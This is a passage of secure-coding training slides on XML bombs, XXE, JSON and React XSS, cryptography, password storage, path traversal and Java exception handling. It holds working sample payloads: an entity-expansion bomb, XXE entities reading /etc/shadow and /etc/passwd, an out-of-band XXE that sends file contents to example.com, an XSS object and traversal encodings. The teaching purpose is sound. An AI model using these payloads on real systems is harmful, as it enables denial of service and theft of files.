• <!ENTITY e &pointer> is replaced by the referenced values – a complete


DOM is built
• An attacker can replace e.g. the Reference URI in the SignedInfo block of
the XML Digital Signature to point at a file having the following DTD:
<!DOCTYPE attack [
<!ENTITY a "1234567890">
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;">
.....
<!ENTITY l "&k;&k;&k;&k;&k;&k;&k;&k;">
<!ENTITY m "&l;&l;&l;&l;&l;&l;&l;&l;">
]>
<attack>&m;</attack>

96
XML bomb

• <!ENTITY e &pointer> is replaced by the referenced values – a complete


DOM is built
• An attacker can replace e.g. the Reference URI in the SignedInfo block of
the XML Digital Signature to point at a file having the following DTD:
<!DOCTYPE attack [
<!ENTITY a "1234567890">
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;">
.....
<!ENTITY l "&k;&k;&k;&k;&k;&k;&k;&k;">
<!ENTITY m "&l;&l;&l;&l;&l;&l;&l;&l;">
]>
<attack>&m;</attack>

• This will generate ≈ 640Gb of data!

97
Exercise

XML Bomb Exercise

98
XML external entity attack (XXE) – resource inclusion

• External entity allows the inclusion of a file content into the XML
• This allows XML eXternal Entity attack (XXE)
• To get the file content, the attacker has to be able to read the result, for
example:
• Store the content in an XML field, which the user is able to access later on
• Or send the file content to the attacker’s server
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [
<!ENTITY file SYSTEM "file:///etc/shadow">
]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname> ...
</updateProfile>
99
XML external entity attack – URL invocation

• External resource can also be an URL


• Consequences
• Server Side Request Forgery (SSRF)
• Exploiting internal network
• Sending data back to the attacker
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [
<!ENTITY file SYSTEM "http://10.0.10.123:8080/setPwd=secret">
]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname> ...
</updateProfile>

100
XML external entity attack – parameter entities

• Parameter entities can be used only within DTD definition and behave more like code macros
• Parameter entities can be defined with an additional % sign
• Attacker can use it to send the content of a file using a remote DTD definition
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM http://example.com/my.dtd">
%dtd;]>
<roottag>&send;</roottag>

• Content of the my.dtd file

<?xml version="1.0" encoding="UTF-8"?>


<!ENTITY % all "<!ENTITY send SYSTEM
'http://example.com/?%file;'>">
%all;
101
Case Study – XXE in Google Search

• Google Toolbar button gallery


• Allowed developers to create new buttons by
uploading XML files containing various meta data
• Until 2014 the XML parser blindly interpreted the
DTD of any user crafted XML
• Possible consequences
• Local file access
• SSRF
• Remote file includes
• DoS
• Remote code execution (RCE)
Based on:
http://blog.detectify.com/post/82370846588/how-wegot-
read-access-on-googles-production

102
Case study – XXE in Google search

From: http://blog.detectify.com/post/82370846588/how-we-got-read-access-on-googles-production

103
Exercise

XXE Exercise

104
JSON Security
Introduction

• JSON: JavaScript Object Notation is a language independent data


format used for asynchronous browser/server communication (e.g.
AJAX)
• Open standard: http://json.org/
• JSON is a subset of the object literal notation of JavaScript
• Data representation is the same as in JavaScript
• Possibility of easy parsing
• Easy access of the data elements
• Less verbose than XML

106
JSON data types

• Number: a signed decimal number


• String: a sequence of Unicode characters (can be empty)
• Boolean: true or false
• Array: an ordered list of values (can be empty)
• Object: an unordered collection of name/value pairs where the names are strings
• null: an empty value
{
"firstName": "John",
"isAlive": true,
"age": 25,
"phoneNumbers": [
{ "type": "home", "number":"555-123456" },
{ "type": "office", "number":"555-123457" }
]
}

107
JSON parsing

• According to json.org:
• To convert a JSON text into an object, you can use the eval() function.
• eval() invokes the JavaScript compiler.
• Since JSON is a proper subset of JavaScript, the compiler will correctly parse
the text and produce an object structure.

var myObject = eval('(' + myJSONtext + ')');

• But eval can compile and execute JavaScript code


• Use eval only if the source is trusted
• Use a JSON parser instead

108
JSON parsing and creating – Client side

• JSON parser
• Recognizes only JSON text
• Rejects all scripts

var myObject = JSON.parse(myJSONtext, reviver);


• JSON stringifier
• Converts JavaScript data structure into JSON
• JSON does not support cyclic data structures, so be careful to not give cyclical
structures to the JSON stringifier

var myJSONText = JSON.stringify(myObject, replacer);

109
JSON parsing – Server side

• It is also important to handle JSON securely on server side


• OWASP JSON Sanitizer
• Java library
• Converts a JSON-like content to a well-formed JSON that should satisfy any
parser
• JSON Schema
• Specifies a JSON-based format to define the structure of JSON data for
validation, documentation, and interaction control
• Based on the concepts from XML Schema (XSD), but is JSONbased
• Use a JSON schema validator (e.g. JSEN, Json.NET, etc.)

110
Embedded JSON

• An initial block of JSON may be generated by the server into the page
• Ensure that the returned Content-Type header is application/json and not
text/html
• Otherwise the browser may execute any injected script
• Do not insert JSON into a page directly
<script>var initData = <%= data.to_json %>;</script>

• Use escaping, and parse the JSON data with JSON.parse


<script id="init_data" type="application/json">
<%= html_escape(data.to_json) %>
</script>

111
JSON injection

• JSON injection may occur when attacker controlled input is used in


the response without encoding
• An attacker may construct a URL that, if visited by another user, will cause
arbitrary JSON data to be processed
• Prevention techniques
• Avoid building JSON dynamically
• Encode JSON data properly before it would be sent
• Use schema validation

112
Case study – XSS via spoofed JSON element

• XSS vulnerability in HackerOne site at 2015


• HackerOne is a security response and bug bounty platform built with security as top
priority
• Uses the React JavaScript library to build the user interface
• The client-side JavaScript communicates with the server with complex
JSON objects as the request body
{
state: "open",
substate: "triaged",
report_ids: [ 49652, 46916 ],
reply_action: "change-state",
reference: "http://ref_url.com"
}
113
Case study – XSS via spoofed JSON element – Testing

• Since it is a JSON object, data types can be changed in the request to


see the server response for the wrong input
• String=>Object, String=>Array, Number=>String, …
• Most of these changes were rejected
• But in case of the reference field, the values were returned to subsequent API
calls
• Test cases
• Normal case (String): "foo"
<span>foo</span>
• Array: ["foo", "bar"]
<span><span>foo</span><span>bar</span></span>

• Object: { foo: "bar"}


<span react-id="…1.2.3.foo.…">bar</span>
114
Case study – XSS via spoofed JSON element – Testing

• It turned out that the attacker has influence on what was ending up in the
DOM, but sanitization was good
• To go further, we should check what happens with the reference field
• It turned out that the wrong-typed reference value gets passed to this function as
variable e after receiving it from the server
l.isValidElement = function(e) {
var t = !(!e || !e._isReactElement);
return t
}

• So, if the object had a key _isReactElement set to true, the client thinks it is a valid
element
• If the reference element was valid and also contained the _store, type and props
keys, the HTML was rendered using the dangerouslySetInnerHTML property

115
Case study – XSS via spoofed JSON element – Exploit

• To exploit this vulnerability the reference value should be changed to


an object containing the necessary fields
reference: {
_isReactElement: true,
_store: {},
type: "body",
props: {
dangerouslySetInnerHTML: {
__html:
"<h1>Arbitrary HTML</h1>
<script>alert(1)</script>"
}
}
}

116
Cryptography
Cryptography

• Symmetric Key Cryptography


• Symmetric Encryption Algorithms
• Hash Algorithms
• Message Authentication Code (MAC)
• Random Numbers
• Public Key Cryptography
• Digital Signatures
• Public Key Infrastructure
• Digital Certificates
• SSL/TLS
• Password Management

118
Symmetric-Key Cryptography

• Same key is used for encrypting and decrypting

119
Cryptography

• Symmetric Key Cryptography


• Symmetric Encryption Algorithms
• Hash Algorithms
• Message Authentication Code (MAC)
• Random Numbers
• Public Key Cryptography
• Digital Signatures
• Public Key Infrastructure
• Digital Certificates
• SSL/TLS
• Password Management

120
Symmetric Encryption Algorithms

• Based on block ciphers


• Different algorithms
• DES – the first 56-bit key block cipher standard of NIST
• Block size is 64 bits
• Weak, don't use!
• 3DES – ≈ applies DES cipher algorithm three times to each data block to improve
algorithm strength
• Key size is 56, 112 or 168
• Not recommended (only some new variants)!
• Blowfish – block cipher with variable (32-448) key sizes and 64 bit blocks meant to
replace DES/3DES
• Not recommended (especially with weak keys)!
• AES – Rijndael algorithm was chosen by NIST as the new standard to replace
DES/3DES
• 128, 192 or 256 bits key size with 128 bit block size

121
Cryptography

• Symmetric Key Cryptography


• Symmetric Encryption Algorithms
• Hash Algorithms
• Message Authentication Code (MAC)
• Random Numbers
• Public Key Cryptography
• Digital Signatures
• Public Key Infrastructure
• Digital Certificates
• SSL/TLS
• Password Management

122
Hash or Message Digest

• Cryptographic hash function: a deterministic procedure that transforms a block of


data into a fixed-size bit string

• Main properties of cryptographic hash functions:


• Easy to compute the hash value
• Hard to find a message that results in a given hash
• Hard to find two different messages with the same hash
• Even one bit modification in the message results in significant modification in the hash value

123
Hash algorithms

• MD5 – Message Digest 5 (16 bytes, 128 bits)


BROKEN – considered to be weak
• SHA-1 – Secure Hash Algorithm (20 bytes, 160 bits)
Still OK in SSL/TLS handshake and if NOT used for digital signature
• SHA-2 – A family of algorithms (various variants, 2001-)
• SHA-224, SHA-256, SHA-384, SHA-512, SHA-512/224,
SHA-512/256 – All OK, SHA-256 is a good choice
• SHA-3 – Winner of the latest NIST competition (2015-)
• SHA3-224, SHA3-256, SHA3-384, SHA3-512 – All OK
• PBKDF2 and Bcrypt specifically designed for password storage

124
Cryptography

• Symmetric Key Cryptography


• Symmetric Encryption Algorithms
• Hash Algorithms
• Message Authentication Code (MAC)
• Random Numbers
• Public Key Cryptography
• Digital Signatures
• Public Key Infrastructure
• Digital Certificates
• SSL/TLS
• Password Management

125
Message Authentication Code (MAC)

• MAC – Message Authentication Code


• Protects integrity and ensures authenticity with a symmetric key
• Incorporates a secret key into the hash calculation
• ≈ Symmetric version of digital signatures
• But does not ensure non-repudiation
• HMAC – Hash-based Message Authentication Code

126
Providing integrity and authenticity with a symmetric key

127
Cryptography

• Symmetric Key Cryptography


• Symmetric Encryption Algorithms
• Hash Algorithms
• Message Authentication Code (MAC)
• Random Numbers
• Public Key Cryptography
• Digital Signatures
• Public Key Infrastructure
• Digital Certificates
• SSL/TLS
• Password Management

128
Random Numbers and Cryptography

• For cryptography and security unpredictability is critical


• Key generation, session ID, tokens, …
• Two main approaches
• Pseudorandom number generators (PRNG): deterministic
• True random number generators (TRNG): non-deterministic
• Typical iterative PRNGs are periodic (and so are weak)

129
Cryptographically-strong PRNGs

• They collect entropy from the environment:


• Any (unpredictable) "randomness"

• Typical sources: keyboard/mouse, HDD activity, real time clock, …

• E.g. /dev/random and /dev/urandom on Linux, or RAND_bytes() of


OpenSSL

130
Hardware-based TRNGs

• Devices for hardware generated random numbers are also available


on the market
• Typically USB sticks that generate "true" random numbers (TRNG)
• Random is extracted from "noise" signals, like thermal noise, photoelectric
effect, …
• Some Intel processors include instructions for returning random
numbers by the CPU
• RdRand instruction on some Intel's 64-bit CPUs
• On-processor entropy source is used with AES
• Linux (/dev/random) still does not use it
• Relying on an RNG sealed in a CPU is non-auditable…
• On the other hand, can be used as a source of entropy!

131
Insecure randomness

• Not all PRNGs are appropriate for cryptographic operations


• Statistical strength: distribution
• Cryptographic strength: predictability
• Cryptography will be ineffective
• If the next generated number is predictable in the longer run
• Weak PRNG is especially dangerous if used for
• Key generation (e.g. for encryption)
• Session IDs
• Any security function that relies on unpredictability
• Also be careful with transformations on random numbers
• Distribution might be distorted

132
Weak PRNGs in Java

• For security purposes in Java do not use


• java.util.Random
• Math.random()
• Use java.security.SecureRandom
• Part of Java Cryptographic Architecture (JCA)

SecureRandom random = new SecureRandom();


byte bytes[] = new byte[20];
random.nextBytes(bytes);
int i = random.nextInt(100); //random int in range [0 .. 100)
double d = random.nextDouble(); //random double in range [0.0 .. 1.0)
boolean b = random.nextBoolean(); // random bool, true or false

133
Cryptography

• Symmetric Key Cryptography


• Symmetric Encryption Algorithms
• Hash Algorithms
• Message Authentication Code (MAC)
• Random Numbers
• Public Key Cryptography
• Digital Signatures
• Public Key Infrastructure
• Digital Certificates
• SSL/TLS
• Password Management

134
Providing confidentiality with public-key encryption

• Different keys are used for encrypting and decrypting

135
Public-key cryptography

• Keys are part of a key pair (they interlock)


• One is public, the other should be kept in secret (private)
• It’s hard to compute the private key from the public key

• Different keys for encoding and decoding


• What's done with one can be undone with the other
• Encryption key and decryption key
• Signing key and verification key

136
Rule of thumb – possession of private key

• The private key is only in the possession of its owner


• Consequently the private key is to be used in every operation which
can be carried out only by the authorized party

Decryption
Signing
Authentication

137
Providing confidentiality

• Combining symmetric and asymmetric algorithms


• Used in almost every solution
• For instance SSL (HTTPS) or XML encryption
• We use an asymmetric algorithm only to encrypt a temporary
symmetric encryption key
• In case of a 128 bit symmetric key, trial and error won’t work (2128 cases)
• Plain text is encoded with temporary (session) key
• Using a block cipher, typically AES

138
Cryptography

• Symmetric Key Cryptography


• Symmetric Encryption Algorithms
• Hash Algorithms
• Message Authentication Code (MAC)
• Random Numbers
• Public Key Cryptography
• Digital Signatures
• Public Key Infrastructure
• Digital Certificates
• SSL/TLS
• Password Management

139
Digital signing

• Signing is done by encoding with the private key

• Signature can be verified with the public key

• In practice, the same key pair must not be used for both signing and
encryption. Otherwise the use of the private key might be ambiguous

140
Signing with a private key

141
Cryptography

• Symmetric Key Cryptography


• Symmetric Encryption Algorithms
• Hash Algorithms
• Message Authentication Code (MAC)
• Random Numbers
• Public Key Cryptography
• Digital Signatures
• Public Key Infrastructure
• Digital Certificates
• SSL/TLS
• Password Management

142
Man-in-the-Middle (MitM) attack

143
Man-in-the-Middle (MitM) attack

144
Digital certificates against MitM attack

145
Certificate Authorities in Public Key Infrastructure

146
Cryptography

• Symmetric Key Cryptography


• Symmetric Encryption Algorithms
• Hash Algorithms
• Message Authentication Code (MAC)
• Random Numbers
• Public Key Cryptography
• Digital Signatures
• Public Key Infrastructure
• Digital Certificates
• SSL/TLS
• Password Management

147
Digital certificates

• A digital certificate binds together


• The public key with the identity of its owner
• The integrity of this binding is protected by signature
• An unauthorized entity cannot change or forge someone’s public key
• Note that the CA does not need to be involved in the communication
• Once signed, the certificate can be used anytime
• RFC 2459 (Internet X.509 Public Key Infrastructure Certificate and CRL
Profile) standardizes:
• X.509 v3 Certificate format
• X.509 v2 Certificate Revocation List (CRL) format

148
X.509 digital certificate

• Version – X.509 structure versions (int, v1/v2/v3: 0/1/2)


• Serial Number – a unique identifier of the certificate (int)
• Signature Algorithm (Algorithm ID)
• E.g. sha256WithRSAEncryption
• Issuer
• The CA that verified the information and issued the certificate
• Validity (Not Before / Not After)
• The date the certificate is valid from and when it does expire
• Subject
• The identity of the certificate's owner
• Subject Public Key Info (the public key + the algorithm)
• Public Key Algorithm, e.g. rsaEncryption
• The Modulus (m) and the Exponent (e) in case of RSA
• Signature – the signature value

149
Certificate Revocation Lists (CRLs)

• A Certificate Revocation List (CRL) contains a list of certificates that


have been revoked
• Format and contents defined in RFC 5280
• Revoked certs should not be considered valid anymore
• A certificate may be Revoked or Put on Hold
• If it is Revoked, the reason is also provided
• CRLs are regularly (usually at least every 24 hours) published at the
CRL Distribution Point (CDP)
• The CDP is a URL that may be part of a certificate

150
Online Certificate Status Protocol (OCSP)

• A CRL contains ALL the certificates that have been ever revoked
(belonging to that CA)
• Problems:
• CRLs can get very big (several tens of megabytes)
• These have to be downloaded by all of the applications that need to verify certificate
validity
• CRLs are not updated real-time
• An application might believe that a certificate is valid, even though it has been revoked
since the last check
• Online Certificate Status Protocol (OCSP)
• A web service provided by CAs which provides real-time revocation
information about certificates
• The OCSP service endpoint is contained in an X.509 field

151
Cryptography

• Symmetric Key Cryptography


• Symmetric Encryption Algorithms
• Hash Algorithms
• Message Authentication Code (MAC)
• Random Numbers
• Public Key Cryptography
• Digital Signatures
• Public Key Infrastructure
• Digital Certificates
• SSL/TLS
• Password Management

152
SSL/TLS protocols

• SSL (Secure Sockets Layer) was originally developed by Netscape


• The only patented protocol
• But can be used freely
• SHTTP -> HTTPS, SSLv1 -> SSLv3
• Loosing popularity due to some recent vulnerabilities (e.g. POODLE)
• TLS (Transport Layer Security) is an IETF standard
• Based on the earlier SSL specifications
• But incompatible with SSL intentionally

153
SSL/TLS options

• Different roles for the client and server


• They need different implementation
• Optional authentication
• Only server authenticates itself
• (Server authenticated communication)
• Both the server and the client authenticates
• They both need a certificate
• Only the client authenticates
• Used rarely
• None of them authenticates (not secure)
• Cipher suites
• Many different algorithms can be used for key-exchange, authentication, encryption,
hash generation

154
Security services

• SSL/TLS supports the following services


• Confidentiality (with symmetric ciphers)
• Integrity (with message authentication codes)
• Authentication
• Server authentication
• Client and server authentication
• Replay attack protection
• Compression
• What it can not ensure:
• Non-repudiation
• Access control
• Off-line operation

155
SSL/TLS handshake

156
Typical problems related to the use of security features

• Errors resulting from the improper use of security features typically


have a negative effect on security
• Relying on weak randomness
• Authentication and authorization
• Problems with password management
• Breaking access control rules
• Leakage of confidential information
• Cryptographic operations without proper care
• Weak keys, incorrect key usage
• Weak algorithms
• Partial verification of certificates (e.g. ignoring the certificate revocation list)

157
Cryptography

• Symmetric Key Cryptography


• Symmetric Encryption Algorithms
• Hash Algorithms
• Message Authentication Code (MAC)
• Random Numbers
• Public Key Cryptography
• Digital Signatures
• Public Key Infrastructure
• Digital Certificates
• SSL/TLS
• Password Management

158
Password management – spot the bug!

PreparedStatement ps=conn.prepareStatement("SELECT * FROM users WHERE username=? AND userpass=?");


ps.setString(1, request.getParameter("username"));
ps.setString(2, request.getParameter("password"));
ResultSet rst = ps.executeQuery();
if (rst.next()) {
session.setAttribute("userid", rst.getInt(5));
} else {
out.print("Invalid credentials. Please try again.<br/>");
}

159
Password management – spot the bug!

PreparedStatement ps=conn.prepareStatement("SELECT * FROM users WHERE username=? AND userpass=?");


ps.setString(1, request.getParameter("username"));
ps.setString(2, request.getParameter("password"));
ResultSet rst = ps.executeQuery();
if (rst.next()) {
session.setAttribute("userid", rst.getInt(5));
} else {
out.print("Invalid credentials. Please try again.<br/>");
}

• Naïve approach: storing passwords in plaintext


• What happens if the password database is stolen?
• Attacker obtains all user credentials by one single breach
• Solution: hashing
160
Password management and storage

• Hashed passwords are still vulnerable to


• Password guessing: blank, user’s name, etc.
• Dictionary attacks
• Brute force attacks
• Use of pre-computed Rainbow tables
• Prevention
• Enforce password policy
• Use a slow hash function, like bcrypt or PBKDF2
• Salting

161
Special purpose hash algorithms for password storage

• Argon2
• Winner of the Password Hashing Competition in 2015
• The #1 choice according to OWASP (use this if available)
• Password-Based Key Derivation Func. 2 (PBKDF2)
• Based on SHA1 or SHA256 (HMAC)
• Recommended by NIST, FIPS-140 compliant
• bcrypt
• Based on Blowfish cipher, includes salting by design
• Adaptive (in terms of speed) – "cost" is adjustable
• More resistant to GPU attacks (uses a global table)
• scrypt
• More resource intensive than PBKDF2 or bcrypt
• Designed to make hardware implementations more difficult and expensive

162
Typical mistakes in password management

• Hardcoded password
• Passwords embedded in the source code can be revealed
• Weak cryptography
• Weakly encoded passwords are not protected
• Password truncation
• Makes the use of passphrases insecure
• Empty passwords
• Null passwords can be easily guessed
• Password in URL
• Passwords passed in URLs may be stored in log files
• Logging passwords
• Do not log wrong passwords either

163
Java Best Practices

164
Input validation concepts

• 3 rules of secure coding: validate, validate, validate


• Be afraid of everything that crosses the attack surface
• FILTER and VALIDATE the input
• Reject bad input, don’t try to fix
• Escaping the input can be bypassed
• Whitelisting is good - blacklisting is never sufficient
• ESCAPE the output
• To avoid sending anything malicious to other components
• Make your code robust – defensive programming
• Defense in depth – build several layers of protection
• All parts of your code should have a "self-defense"

165
Path traversal vulnerability

• Insufficient validation of a path name given by the user


• For example:
• A program wants to accept only references to files in /home/user
• But validation is not as easy as it seems, e.g. ../../etc/passwd
• Or for example: http://www.site.com/./admin/ is the same place as
http://www.site.com/admin/ but may circumvent validation
• Short file names in Windows
• In C:\ directory try to type e.g. cd progra~1
• It is the same directory as Program Files
• So if e.g. C:\TOPSECRET\ is prohibited, C:\topsec~1\ can be used
• Can be switched off in the registry
• But still on by default, even in Windows 10!

166
Path traversal mitigation

• Blacklisting-based validation is not a good idea (as usually)


• URL encoding: %2e%2e%2f or ..%2f
• Double URL encoding: %252e%252e%252f
• Unicode: %u002e%u002e%u2215
• UTF8 ‘percent’ encoding: %c0%2e%e0%40%ae%c0%af
• Escaping input: replacing ../ with non-recursive filters can be still circumvented
by providing e.g. ....// -> ../
• Mitigations
• Don’t rely on path names for access control at all
• Use whitelisting if there is a finite number of possible inputs
• Canonicalization: all used path inputs should be converted to a canonical form before
processing
• Realpath() in C / POSIX, Perl, PHP
• GetFullPathName() in Windows (kernel32.dll)
• GetFullPath() in ASP.NET
• java.io.File.getCanonicalPath() in Java

167
Typical problems with error and exception handling

• Handling errors, special circumstances, exceptions


• Improper implementation and management of these may lead to security
vulnerabilities
• Common mistakes
• Vague error reporting and handling
• Errors vs. exceptions – which one to use?
• Valid program state is not restored after exception
• Error codes are not handled properly (or at all)
• Information revealed through error messages

168
Empty catch block

• Almost all attacks start with the attacker breaking the programmers’
assumptions
• We don’t handle an exception, because…
• “this method isn’t going to generate any errors…”
• “even if an error occurs, it doesn’t matter at this point…”

try {
doExchange();
}
catch (RareException e) {
// this can never happen
}

• … and when the error does happen, the program loses the exception and
makes it harder to detect the cause of the problem and fix the bug
169
Overly broad throws

• It is possible to list “expected” exceptions; this makes error processing


easier on the client side
public void doExchange() throws IOException, InvocationTargetException,
SQLException { ... }

• However, this is often not used…


public void doExchange() throws Exception { ... }

• … which makes correct error handling harder

170
Overly broad catch

• It is possible to handle “expected” exceptions separately


try {
doExchange();
}
catch (IOException e) {
logger.error("doExchange() failed", e); }
catch (InvocationTargetException e) {
logger.error("doExchange() failed", e); }
catch (SQLException e) {
logger.error("doExchange() failed", e); }

• However, if we don’t…
try {
doExchange();
}
catch (Exception e) {
logger.error("doExchange() failed", e); }

• … and doExchange() is modified to throw a new type of exception


• the user of the method will not be informed about the change
• the new exception will be handled just like the previous three
• This causes typed exceptions to lose their purpose

171
Using multi-catch in Java

• Instead of catching the Exception (super class)


try {
doExchange();
} catch (Exception e) {
logger.error("doExchange() failed", e);
}

• Java 7 introduced multi-catch


try {
doExchange();
} catch (IOException | InvocationTargetException | SQLException e) {
logger.error("doExchange() failed", e)
}

• Which is a nice reconciliation of


• Enlisting all exceptions to be caught
• But doing the same thing for all without the need to state it multiple times

172
Returning from finally block in Java – spot the bug!

public static void doMagic(boolean returnFromFinally) throws MagicException {


try {
throw new MagicException();
}
finally {
if (returnFromFinally) {
return;
}
}
}

173
Returning from finally block in Java – spot the bug!

public static void doMagic(boolean returnFromFinally) throws MagicException {


try {
throw new MagicException();
}
finally {
if (returnFromFinally) {
return;
}
}
}

• A return command inside a finally block will make all exceptions thrown in
the try block “disappear”
• Even though an exception is thrown in try, it is destroyed in finally, and the
function will exit normally
174
NullPointerException

• Catching NullPointerException should not be used as an alternative to


programmatic checks to prevent dereferencing a null pointer
• Programmers typically catch NullPointerException
• By catching a null pointer dereference exception instead of fixing the 
underlying problem
• Signaling an error condition by throwing a NullPointerException 
• When using a third party API that throws NullPointerException to signal
something 
• If the code is part of a test harness that supplies unexpected input to the 
classes under test

175
Catching NullPointerException

• Why should we avoid catching NullPointerException?


• It is always easier to avoid it than to deal with it
• Better an if before than a catch after
• Throwing is significantly slower than avoiding it
• It is always challenging to determine which expression did throw the
exception within the try block
• Hard to restore the code into a valid and usable state (e.g. closing resources,
setting state variables)
• Best practices:
• Use return values and error codes to indicate error state
• Prevent / avoid NULL dereference whenever possible

176
Dangers arising from poor code quality

• Poor quality code often directly leads to unpredictable and vulnerable


behavior
• The attacker just have to feed in the right input
• It is also an indication that something might be wrong
• So a thorough check is necessary
• “Tricky” solutions, “muddled” source code are
• unclear
• harder to understand
• therefore they can be considered a source of errors
• Not to talk about maintenance and bug-fixing…

177
Poor code quality – spot the bug!

private void processFile(String fName) {


StreamReader sr = new StreamReader(fName);
String line;
while ((line = sr.readLine()) != null)
processLine(line);
}

178
Poor code quality – spot the bug!

private void processFile(String fName) {


StreamReader sr = new StreamReader(fName);
String line;
while ((line = sr.readLine()) != null)
processLine(line);
}

• The processFile method never closes the file it opens


• Although finalize() for StreamReader will call close() during the garbage collection
• There is no guarantee when finalize() will be invoked
• In fact, there is no guarantee that finalize() will ever be invoked

179
Unreleased resources

• Unreleased resources present a stability problem, but an attacker can use it


as a basis for a DoS attack
• Most common reasons
• Error or exception handling - resources are not guaranteed to be released when
these occur
• In a complex program it is not always obvious who should release a particular
resource
• Possible fix since Java 7: try-with-resources statement
private void processFile(String fName) {
try ( StreamReader sr = new StreamReader(fName) ) { //should implement AutoCloseable
String line;
while ((line = sr.readLine()) != null)
processLine(line);
}
}

180
Questions?

You might also like